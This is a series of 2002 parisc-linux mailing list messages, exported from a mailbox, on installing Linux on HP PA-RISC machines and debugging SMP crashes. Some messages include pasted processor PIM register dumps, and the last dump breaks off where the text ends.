	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 08:58:30 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17CiQe-0002SI-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 15:58:28 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0205280946160.17528-100000@ns2.soark.net>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14862

On Tue, May 28, 2002 at 09:49:36AM -0500, Orac wrote:
> I have it running on a C110 currently. It was installed however on a
> 712/100 and drive was copied and kernel recompiled for the 7200 series
> CPU. Are you running graphic or serial console? I am running serial
> console only.
 
Serial. I've tried leaving after boot to see if it comes up but I can't see it
but nothing seems to happen (can't ping the box).

Could you send me your .config (or even the kernel!) please?

patrick




From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install on A180c
Date: Tue, 28 May 2002 09:14:11 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <E17Cifr-0000Aa-00@paul.bame>
References: <200205281416.g4SEGap28099@phobos.norwich-union.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621322 7600 80.91.229.3 (22 Nov 2014 01:55:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 09:14:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB085482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 09:14:14 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 0F962AF2; Tue, 28 May 2002 11:14:14 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id B1B2937F03; Tue, 28 May 2002 09:14:11 -0600 (MDT)
Original-Received: from paul.bame (lart.fc.hp.com [15.1.54.48])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 57FF4461C; Tue, 28 May 2002 09:14:11 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by paul.bame with esmtp (Exim 3.35 #1 (Debian))
	id 17Cifr-0000Aa-00; Tue, 28 May 2002 09:14:11 -0600
In-Reply-To: Your message of "Tue, 28 May 2002 15:16:36 BST."
             <200205281416.g4SEGap28099@phobos.norwich-union.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14863

> Could anyone give me some pointers as to kernel parameters that need to be pa
> ssed
> to PALO or whether I need to use a serial console please.

Try it -- there are still unsupported graphics cards out there.

	-P



From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] install on A180c
Date: Tue, 28 May 2002 09:38:39 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020528153839.8D087482A@dsl2.external.hp.com>
References: <200205281416.g4SEGap28099@phobos.norwich-union.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621322 7603 80.91.229.3 (22 Nov 2014 01:55:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 09:38:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8D087482A; Tue, 28 May 2002 09:38:39 -0600 (MDT)
In-Reply-To: Message from Jonathan Pulfer <pulferj.phobos@midrange.norwich-union.co.uk> 
   of "Tue, 28 May 2002 15:16:36 BST." <200205281416.g4SEGap28099@phobos.norwich-union.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14864

Jonathan Pulfer wrote:
> Could anyone give me some pointers as to kernel parameters that need to
> be passed to PALO or whether I need to use a serial console please.

I suggest trying serial console if you can.
I'm not intimately familiar with web console on A180's but have
heard it's not the same as remote consoles on other parisc servers.

grant



From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 11:07:57 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20020528170758.16D13482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0205271438590.11012-200000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621323 7609 80.91.229.3 (22 Nov 2014 01:55:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 11:07:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 16D13482A; Tue, 28 May 2002 11:07:58 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Mon, 27 May 2002 14:49:24 PDT." <Pine.LNX.4.44.0205271438590.11012-200000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14865

Jeremy Drake wrote:
> I'll try.  BTW, the HPMC only happens sometimes.  Most of the time it just 
> hangs.  But HPMC starts if I hit the button on the back and let it boot.

ok. This is an interesting symptom.

...
> General Registers 0 - 31
> 00-03   0000000000000000  0000000a44b3921e  0000000000019bf0  00000000f400400
>   0

GR02 is the return pointer - but it's not a kernel address.
Possible PDC or something else.

...
> IIA Space                    = 0x0000000000000000
> IIA Offset                   = 0x0000000000019bf8

IIA is the instruction pointer. Also not a valid kernel address.
It's possible we are getting a "double fault" and the first
one is overwriting the original HPMC.

> Check Type                   = 0x20000000
> CPU State                    = 0x9e000004
> Cache Check                  = 0x00000000
> TLB Check                    = 0x00000000
> Bus Check                    = 0x0030103b
> Assists Check                = 0x00000000
> Assist State                 = 0x00000000
> Path Info                    = 0x00000000
> System Responder Address     = 0x000000fff4004014
> System Requestor Address     = 0xfffffffffffa0000

This is useful. The system *probably* died trying to access 0xf4004014.
I could try to look up CPU State but I'm out of time.


Here are the next steps:
1) figure out who is touching 0xf4004014.
   I didn't see anything in the console output.
   (http://lists.parisc-linux.org/pipermail/parisc-linux/2002-May/016342.html)
   Can you look in /proc/iomem?
   My C3000 has:
   f4000000-f4ffffff : LBA PCI LMMIO
     f4007000-f4007fff : usb-ohci
     f4008000-f40083ff : tulip

2) figure out if the access is because of bad DMA killing the IOMMU
   or just the chip not responding.

It remotely possible the latest commit I made will affect this problem.
Can you retry with -pa28 (or -pa29)?

grant



From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 28 May 2002 13:29:33 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20020528132933.B31214@systemhalted>
References: <20020527001321.A6629@systemhalted> <20020528142736.GA9288@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621323 7615 80.91.229.3 (22 Nov 2014 01:55:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:23 +0000 (UTC)
To: Patrick Caulfield <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 11:29:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C2DD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 11:29:23 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4SHTX031790;
	Tue, 28 May 2002 13:29:33 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Patrick Caulfield <patrick@tykepenguin.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020528142736.GA9288@tykepenguin.com>; from patrick@tykepenguin.com on Tue, May 28, 2002 at 03:27:36PM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (51% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14866

> I can't get it to boot on my C110 - it gets stuck at the old familar "if this is
> the last message you see" message. I can run the Debian 2.4.18 kernel OK on this
> box.
> Any ideas anyone?
> patricki

What gcc version are you using to compile your kernel?
What kernel parameters have you appended?
What version of modutils are you using?
Send your .config?
Serial console?

Helpful is the documentation can be found at:
http://oss.sgi.com/projects/kdb/

c.



From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 12:35:23 -0700 (PDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205281234370.11012-100000@garibaldi.apptechsys.com>
References: <20020528170758.16D13482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621323 7619 80.91.229.3 (22 Nov 2014 01:55:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 13:35:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B9FF482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 13:35:27 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id A1F727BC63; Tue, 28 May 2002 12:35:23 -0700 (PDT)
In-Reply-To: <20020528170758.16D13482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14867

On Tue, 28 May 2002, Grant Grundler wrote:

> It remotely possible the latest commit I made will affect this problem.
> Can you retry with -pa28 (or -pa29)?
Sure.  No problem.  I've been trying to keep the kernel as up-to-date as 
possible...

> 
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
Adult, n.:
	One old enough to know better.




From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 12:45:18 -0700 (PDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205281239110.11012-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0205281234370.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621324 7627 80.91.229.3 (22 Nov 2014 01:55:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 13:45:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DC47482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 13:45:20 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id C3CC37BC63; Tue, 28 May 2002 12:45:18 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0205281234370.11012-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14868

On Tue, 28 May 2002, Jeremy Drake wrote:

> On Tue, 28 May 2002, Grant Grundler wrote:
> 
> > It remotely possible the latest commit I made will affect this problem.
> > Can you retry with -pa28 (or -pa29)?
> Sure.  No problem.  I've been trying to keep the kernel as up-to-date as 
> possible...
OK, I was doing an apt-get update, and the damn thing died at Reading 
Package Lists... 0%.  I'll see what's up with it when I can, do you want 
ser pim, ser pim toc, or just wait for a new kernel?  (this sort of thing 
happens a lot on smp, but this box is surprisingly stable on UP)

Some things that occured to me about the hardware that may be influencing 
this.  The on-board USB on this box is broken (as in physically damaged).  
I have a pci usb card in there for typing on the graphics console, and 
when I installed it into the first slot recommended by the manual (2 I 
think) the box did some HPMC stuff when it tried to do selftests.  I moved 
it to slot 8 and everything seems happy with it.  Maybe something in the 
smp code is aggrevating these problems...

> 
> > 
> > grant
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 

-- 
Tact in audacity is knowing how far you can go without going too far.
		-- Jean Cocteau




From - Thu Nov 08 21:22:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Tue, 28 May 2002 14:56:03 -0700 (PDT)
Lines: 344
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0205281436230.11012-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0205281239110.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621324 7631 80.91.229.3 (22 Nov 2014 01:55:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 28 15:56:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32050482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 May 2002 15:56:05 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id D14607BC54; Tue, 28 May 2002 14:56:03 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0205281239110.11012-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14869

On Tue, 28 May 2002, Jeremy Drake wrote:

> On Tue, 28 May 2002, Jeremy Drake wrote:
> 
> > On Tue, 28 May 2002, Grant Grundler wrote:
> > 
> > > It remotely possible the latest commit I made will affect this problem.
> > > Can you retry with -pa28 (or -pa29)?
> > Sure.  No problem.  I've been trying to keep the kernel as up-to-date as 
> > possible...
> OK, I was doing an apt-get update, and the damn thing died at Reading 
> Package Lists... 0%.  I'll see what's up with it when I can, do you want 
> ser pim, ser pim toc, or just wait for a new kernel?  (this sort of thing 
> happens a lot on smp, but this box is surprisingly stable on UP)
> 
The LCD has a network, the HDD and an unfilled heart on the screen -- not 
changing.

The console says apt-get (668): unaligned access to 0x403ce08c it 
ip=0x4005e4f7

The TOC button had no effect.  Here's a ser pim from after I pulled the 
power and restarted it.  It doesn't look particularly helpful.

ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

   No valid timestamp

HPMC Chassis Codes = 2cbf0  

General Registers 0 - 31
00-03   0000000000000000  000000001035eee0  00000000101009dc  0000000000800327
04-07   000000000001efff  000000000006cd00  0000000010410000  00000000f0002f68
08-11   0000000000000000  0000000000000003  000000000004000e  00000000103a5178
12-15   0000000000000000  00000000ffffffff  0000000000000001  00000000f0400004
16-19   00000000f00008c4  00000000f000017c  00000000f0000174  0000000010408000
20-23   0000000000000000  00000000103382a0  00000000103597c4  0000000000000000
24-27   00000000103598a0  0000000000000032  0000000000000019  0000000010338010
28-31   0000000000000000  0000000000000010  0000000010408700  00000000103598a0

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000106  0000000000000000  00000000000000c0  000000000000001f
12-15   0000000000000000  0000000000000000  0000000000106000  00000000ffffffff
16-19   00001d631d9a90dc  0000000000000000  00000000101009e0  000000004a740028
20-23   0000000000000000  0000000000000000  000000000004ff0f  0000000000000000
24-27   0000000000366000  000000001f571000  0000000000044021  00000000f0412000
28-31   0000000055555555  0000000055555555  0000000010408000  0000000010410000
Space Registers 0 - 7

00-03   00000000          00000083          00000000          00000083
04-07   00000000          00000000          00000000          00000000

<Press any key to continue (q to quit)> 

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x00000000101009e4
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa0000
System Requestor Address     = 0xfffffffffffa2000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  0000000000000000
04-07   2ff8e00000000001  000000011015fa8c  1036505000000000  00000001f0400004
08-11   1036505000000002  ffffffff0000000a  0000000100000000  1041fdd31035d020
12-15   ffffffff000000ff  103a4000101482f4  103a4000ffff99ef  1115070010110264
16-19   2ff8e00011150000  0000000000000002  000000001035d010  1035981010358810
20-23   1035901010359810  103598102ff8e000  cccccccd51eb874f  0000000333333334
24-27   b38cf9b100000450  5555555555555555  5555555555555555  5555555555555555
28-31   3031323334353637  383961621014859c  6768696a6b6c6d6e  6f70717273747576

<Press any key to continue (q to quit)> 


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81841000000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0201000000000004
CPU Status Register 0        = 0x3440c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4820000000000000
Read Short LOG               = 0xc1a0f0f0f0400804
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0xc1bff0fffed08040
RUN_DATA_LOW                 = 0xc1bff0fffed08040
RUN_CTRL                     = 0x0000021c00001418
RUN_ADDR                     = 0xc1bff0fffed08040
System Responder Path        = 0x00ffffffffffffff


HPMC PIM Analysis Information:

   No valid timestamp



Memory/IO Controller Error Analysis Information:


<Press any key to continue (q to quit)> 

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

<Press any key to continue (q to quit)> 

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
